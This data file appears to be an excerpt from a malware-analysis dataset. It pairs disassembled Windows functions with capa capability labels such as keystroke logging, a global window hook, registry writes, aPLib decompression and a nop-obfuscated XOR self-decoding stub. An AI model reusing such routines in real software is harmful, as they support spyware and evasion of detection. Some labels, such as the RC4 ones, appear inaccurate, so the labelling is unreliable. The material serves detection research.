joyce8/EMBER2024-capa huggingface dataset:
Function at 0x482934
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4829ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.004828cc
test al, al
je 0x4829ce
mov ecx, dword [ebp - 0x1c]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.00404b2c
mov ebx, dword [ebp - 0x20]
dec ebx
test ebx, ebx
jl 0x4829ce
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404eec
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumValueA
mov eax, dword [ebp - 0xc]
call fcn.00404eec
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00404c2c
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc esi
dec ebx
jne 0x482987
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4829f3
lea eax, [ebp - 0x2c]
call fcn.00404a3c
lea eax, [ebp - 0xc]
call fcn.00404a3c
ret

Function at 0x482b18
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0048221c
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404eec
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x482b76
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x502510]
mov dl, 1
mov eax, dword [0x482114]
call fcn.0040d050
call fcn.004043f8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x482b80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404eec
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x482bd8
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x5027e4]
mov dl, 1
mov eax, dword [0x482114]
call fcn.0040d050
call fcn.004043f8
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0048224c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x48e53c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x48e614
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x5043a4], 0
jne 0x48e5f8
lea eax, [ebp - 4]
mov edx, 0x48e62c
call fcn.00404ad4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00404eec
mov esi, eax
push esi
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x48e5f8
mov eax, ebx
call fcn.0040277c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x48e5f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
push ebx
mov eax, dword [ebp - 8]
push eax
push esi
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x48e5db
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x48e63c
mov eax, dword [ebp - 0xc]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x48e5db
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
mov dword [0x5043a4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e5f8
mov eax, dword [ebp - 0xc]
call fcn.0040279c
ret
mov ebx, dword [0x5043a4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e61b
lea eax, [ebp - 4]
call fcn.00404a3c
ret

Function at 0x4a4918
Capabilities:
Set global application hook

Disassembly:
cmp dword [0x5043c8], 0
jne 0x4a493b
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4a488c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x5043c8], eax
ret

Function at 0x4b38f8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4b3949
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4b3930
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4b3920
jmp 0x4b3949
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4b3931
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c2320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x24]
mov edi, dword [ebx + 0x34]
sub edi, dword [ebx + 0x6c]
sub edi, dword [ebx + 0x64]
jmp 0x4c234d
mov eax, dword [ebx + 0x24]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x64]
ja 0x4c23cc
push esi
mov eax, dword [ebx + 0x30]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.004c113c
add esp, 0xc
sub dword [ebx + 0x68], esi
sub dword [ebx + 0x64], esi
sub dword [ebx + 0x54], ebp
mov eax, dword [ebx + 0x44]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x3c]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x4c239a
mov cx, word [esp]
sub cx, si
jmp 0x4c239c
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4c2383
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x38]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x4c23c2
mov cx, word [esp]
sub cx, si
jmp 0x4c23c4
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x4c23ab
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x4c2429
mov edx, dword [ebx + 0x30]
mov ecx, edi
add edx, dword [ebx + 0x64]
mov eax, ebp
add edx, dword [ebx + 0x6c]
call fcn.004c2000
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x4c2414
mov eax, dword [ebx + 0x30]
mov edx, dword [ebx + 0x64]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x30]
mov ecx, dword [ebx + 0x64]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x4c2429
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4c232a
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4c5c10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x4c5c18
push ecx
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
push ebp
push 0x4c5e1e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404a3c
lea eax, [ebp - 4]
call fcn.00404f44
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404cf4
mov ecx, 3
cdq
idiv ecx
mov edi, eax
test edi, edi
jle 0x4c5d19
push dword [esi]
lea eax, [ebp - 8]
xor edx, edx
mov dl, byte [ebx]
shr edx, 2
inc edx
mov ecx, 0x4c5e34
mov dl, byte [ecx + edx - 1]
call fcn.00404c1c
push dword [ebp - 8]
lea eax, [ebp - 0xc]
mov dl, byte [ebx]
and dl, 3
and edx, 0xff
shl edx, 4
inc edx
xor ecx, ecx
mov cl, byte [ebx + 1]
shr ecx, 4
add edx, ecx
mov ecx, 0x4c5e34
mov dl, byte [ecx + edx - 1]
call fcn.00404c1c
push dword [ebp - 0xc]
lea eax, [ebp - 0x10]
mov dl, byte [ebx + 1]
and dl, 0xf
and edx, 0xff
shl edx, 2
inc edx
xor ecx, ecx
mov cl, byte [ebx + 2]
shr ecx, 6
add edx, ecx
mov ecx, 0x4c5e34
mov dl, byte [ecx + edx - 1]
call fcn.00404c1c
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov dl, byte [ebx + 2]
and dl, 0x3f
and edx, 0xff
inc edx
mov ecx, 0x4c5e34
mov dl, byte [ecx + edx - 1]
call fcn.00404c1c
push dword [ebp - 0x14]
mov eax, esi
mov edx, 5
call fcn.00404db4
add ebx, 3
dec edi
jne 0x4c5c69
mov eax, dword [ebp - 4]
call fcn.00404cf4
mov ecx, 3
cdq
idiv ecx
test edx, edx
jle 0x4c5e03
push dword [esi]
lea eax, [ebp - 0x18]
xor edx, edx
mov dl, byte [ebx]
shr edx, 2
inc edx
mov ecx, 0x4c5e34
mov dl, byte [ecx + edx - 1]
call fcn.00404c1c
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
mov dl, byte [ebx]
and dl, 3
and edx, 0xff
shl edx, 4
inc edx
xor ecx, ecx
mov cl, byte [ebx + 1]
shr ecx, 4
add edx, ecx
mov ecx, 0x4c5e34
mov dl, byte [ecx + edx - 1]
call fcn.00404c1c
push dword [ebp - 0x1c]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
mov dl, byte [ebx + 1]
and dl, 0xf
and edx, 0xff
shl edx, 2
inc edx
xor ecx, ecx
mov cl, byte [ebx + 2]
shr ecx, 6
add edx, ecx
mov ecx, 0x4c5e34
mov dl, byte [ecx + edx - 1]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
call fcn.0040319c
mov edx, 0x4c5e78
lea eax, [ebp - 0x2c]
mov cl, 2
call fcn.0040316c
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x24]
call fcn.00404c98
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 4]
call fcn.00404cf4
mov ecx, 3
cdq
idiv ecx
dec edx
sete al
mov edx, 0x4c5e84
pop ecx
call fcn.004c5b98
push dword [ebp - 0x20]
mov eax, esi
mov edx, 4
call fcn.00404db4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c5e25
lea eax, [ebp - 0x24]
mov edx, 9
call fcn.00404a60
ret
Function at 0x4d078c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
push ebp
push 0x4d0838
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404a3c
mov eax, dword [ebp - 4]
call fcn.00404eec
push eax
push ebx
mov eax, dword [0x503718]
push eax
call sub.kernel32.dll_FindResourceA
mov edi, eax
push edi
mov eax, dword [0x503718]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
test ebx, ebx
je 0x4d0822
push edi
mov eax, dword [0x503718]
push eax
call sub.kernel32.dll_SizeofResource
mov edi, eax
push ebx
call sub.kernel32.dll_LockResource
mov dword [ebp - 8], eax
mov eax, esi
mov edx, edi
call fcn.00405078
mov eax, esi
call fcn.00404f44
mov edx, eax
mov eax, dword [ebp - 8]
mov ecx, edi
call fcn.00402a28
mov eax, ebx
call fcn.00407e58
push ebx
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d083f
lea eax, [ebp - 4]
call fcn.00404a3c
ret

Function at 0x4d16c8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404edc
mov eax, dword [ebp - 8]
call fcn.00404edc
xor eax, eax
push ebp
push 0x4d172f
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00404eec
push eax
mov eax, dword [ebp - 4]
call fcn.00404eec
push eax
push 0x4d173c
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d1736
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a60
ret

Function at 0x4d1d40
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
lea edx, [ebp - 0xc]
push edx
push eax
call sub.kernel32.dll_GetFileSize_1
mov ecx, eax
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0xc]
xor edx, edx
mov edx, eax
xor eax, eax
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4d4bd0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4d4e30
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x4d4c33
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.004d4698
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040d844
cmp al, 1
jne 0x4d4c33
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.004d49b0
test al, al
je 0x4d4dbf
cmp dword [ebp - 8], 0
jge 0x4d4c51
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.004d4698
mov eax, dword [ebp - 0x210]
call fcn.00404cf4
cmp ebx, eax
jge 0x4d4c9b
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.004d4698
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x5027bc]
and eax, 0xff
bt dword [edx], eax
jae 0x4d4c9b
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x4d4caf
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004d4bac
cmp ebx, dword [ebp - 8]
je 0x4d4db1
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4d4cdb
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403e28
and eax, 0x7f
movzx eax, word [eax*2 + 0x502198]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x4d4d9e
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403e28
and eax, 0x7f
movzx eax, word [eax*2 + 0x502198]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.0046afec
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403e28
and eax, 0x7f
movzx eax, word [eax*2 + 0x502198]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.0046afec
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d4da5
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x4d4e12
cmp dword [ebp - 8], 0
jge 0x4d4dca
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.004d4698
mov eax, dword [ebp - 0x218]
call fcn.00404cf4
cmp eax, dword [ebp - 8]
jg 0x4d4e04
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.004d4698
mov eax, dword [ebp - 0x21c]
call fcn.00404cf4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004d4bac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d4e37
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.00404a60
ret
Function at 0x4e5ba8
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe90
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
push ebp
push 0x4e5d59
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x16c]
xor ecx, ecx
mov edx, 0x160
call fcn.00403304
push 0x4000
push 0x160
lea eax, [ebp - 0x16c]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.00404eec
push eax
call sub.shell32.dll_SHGetFileInfoA
mov eax, dword [ebp - 0x168]
mov dword [ebp - 8], eax
mov eax, dword [0x504748]
call fcn.00405fd0
dec eax
test eax, eax
jl 0x4e5c45
inc eax
xor ebx, ebx
mov edx, dword [0x504748]
mov edx, dword [edx + ebx*8]
cmp edx, dword [ebp - 8]
jne 0x4e5c41
mov eax, dword [0x504748]
mov ebx, dword [eax + ebx*8 + 4]
jmp 0x4e5d30
inc ebx
dec eax
jne 0x4e5c25
mov dl, 1
mov eax, dword [0x42a048]
call fcn.00431b84
mov esi, eax
mov ecx, esi
mov edx, dword [ebp - 8]
mov eax, dword [0x5046e4]
call fcn.0045788c
mov eax, dword [0x504690]
mov eax, dword [eax + 0x304]
mov edx, esi
call fcn.004577d8
mov ebx, eax
mov eax, esi
call fcn.00403c2c
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004e5958
xor esi, esi
jmp 0x4e5ce6
lea edx, [ebp - 0x170]
mov eax, dword [0x504748]
mov eax, dword [eax + esi*8 + 4]
call fcn.004e5958
mov eax, dword [ebp - 0x170]
mov edx, dword [ebp - 0xc]
call fcn.00404e38
jne 0x4e5ce5
mov eax, dword [0x504690]
mov eax, dword [eax + 0x304]
mov edx, ebx
call fcn.00457b3c
push ebx
mov eax, 0x50a550
mov ecx, 1
mov edx, dword [0x4e5784]
call fcn.0040618c
add esp, 4
mov eax, dword [0x504748]
mov ebx, dword [eax + esi*8 + 4]
jmp 0x4e5cf4
inc esi
mov eax, dword [0x504748]
call fcn.00405fd0
cmp esi, eax
jl 0x4e5c8b
mov eax, dword [0x504748]
call fcn.00405fd0
mov esi, eax
lea eax, [esi + 1]
push eax
mov eax, 0x504748
mov ecx, 1
mov edx, dword [0x4e5704]
call fcn.0040618c
add esp, 4
mov eax, dword [0x504748]
mov edx, dword [ebp - 8]
mov dword [eax + esi*8], edx
mov eax, dword [0x504748]
mov dword [eax + esi*8 + 4], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5d60
lea eax, [ebp - 0x170]
call fcn.00404a3c
lea eax, [ebp - 0xc]
call fcn.00404a3c
lea eax, [ebp - 4]
call fcn.00404a3c
ret
Function at 0x4e6448
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
test dl, dl
je 0x4e6461
add esp, 0xfffffff0
call fcn.00403f90
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
push ebp
push 0x4e64ff
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040dbac
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.00404ad4
mov dword [esi + 0x60], 0xffffffff
call fcn.0040b20c
fstp qword [esi + 0x30]
wait
mov eax, dword [esi + 0x30]
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x34]
mov dword [esi + 0x3c], eax
lea eax, [esi + 8]
call fcn.00404a3c
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004e670c
mov eax, dword [esi + 0xc]
call fcn.004a76e8
test al, al
je 0x4e64da
mov ax, word [0x4e6524]
mov word [esi + 0x1c], ax
jmp 0x4e64e4
mov ax, word [0x4e6528]
mov word [esi + 0x1c], ax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e6506
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a60
ret

Function at 0x4e652c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
test dl, dl
je 0x4e6545
add esp, 0xfffffff0
call fcn.00403f90
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
push ebp
push 0x4e65c4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [esi + 0x60], 0xffffffff
lea eax, [esi + 0xc]
mov edx, dword [ebp - 4]
call fcn.00404a90
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00409c3c
mov edx, dword [ebp - 8]
lea eax, [esi + 8]
call fcn.00404a90
mov ax, word [0x4e65e8]
mov word [esi + 0x1c], ax
call fcn.0040b20c
fstp qword [esi + 0x30]
wait
mov eax, dword [esi + 0x30]
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x34]
mov dword [esi + 0x3c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e65cb
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a60
ret
Function at 0x2820058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.028201a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x282007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x282006a
add dl, dl
jne 0x2820089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x28200dc
xor eax, eax
add dl, dl
jne 0x2820096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x282017d
add dl, dl
jne 0x28200a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x28200b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x28200bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x28200c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x28200d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x2820075
mov eax, 1
add dl, dl
jne 0x28200ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x28200f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x28200e1
sub eax, ebx
mov ebx, 1
jne 0x2820128
mov ecx, 1
add dl, dl
jne 0x282010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x2820119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2820105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2820075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x282013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x282014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2820136
cmp eax, 0x7d00
jae 0x282016d
cmp eax, 0x500
jb 0x2820168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2820075
cmp eax, 0x7f
ja 0x2820170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2820075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x282019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x2820075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x6d1e2222
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2b702e1f
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219